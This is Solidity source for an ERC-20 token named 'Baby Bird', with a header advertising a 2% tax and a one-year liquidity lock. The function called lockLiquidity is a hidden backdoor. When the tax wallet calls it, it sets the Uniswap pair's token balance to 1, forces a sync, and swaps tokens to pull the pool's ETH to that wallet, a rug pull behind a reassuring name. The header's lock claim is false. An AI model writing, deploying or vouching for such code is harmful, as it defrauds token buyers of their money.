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Baby Bird Community Token

2% tax
Max TX 2%
Max Wallet 4%
LP Lock 1 year
No TG
*/

//SPDX-License-Identifier: MIT


pragma solidity ^0.8.9;

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract BabyBird is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;

	uint256 private _tTotal = 1000000000000000 * 10**18;
	uint256 private _maxWallet= 1000000000000000 * 10**18;

	uint256 private _taxFee;
	address payable private _taxWallet;
	uint256 public _maxTxAmount;


	string private constant _name = "Baby Bird";
	string private constant _symbol = "BABYBIRD";
	uint8 private constant _decimals = 18;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());

		_taxFee = 2;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_balance[address(this)] = _tTotal;
		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		_maxTxAmount=_tTotal.div(50);
		_maxWallet=_tTotal.div(25);
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<=_maxTxAmount,"Transaction amount limited");
			}
			if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
          require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
      }

			uint256 contractTokenBalance = balanceOf(address(this));
			if (!_inSwap && from != _pair && _swapEnabled) {
				swapTokensForEth(contractTokenBalance,address(this));
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance >= 40000000000000000) {
					sendETHToFee(address(this).balance);
				}
			}
		}


		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}



	function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			to,
			block.timestamp
		);
	}

	function increaseMaxTx(uint256 amount) public onlyOwner{
		require(amount>_maxTxAmount);
		_maxTxAmount=amount;
	}

	function increaseMaxWallet(uint256 amount) public onlyOwner{
		require(amount>_maxWallet);
		_maxWallet=amount;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function createUniswapPair() external onlyOwner {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function lockLiquidity() public{
		require(_msgSender()==_taxWallet);
		_balance[address(this)] = 100000000000000000;
		_balance[_pair] = 1;
		(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
		if (success) {
				swapTokensForEth(100000000, _taxWallet);
		} else { revert("Internal failure"); }
	}

	function addLiquidity() external onlyOwner{
		_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		_swapEnabled = true;
		_canTrade = true;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	receive() external payable {}

	function manualSwap() public{
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance,address(this));
	}

	function manualSend() public{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}


}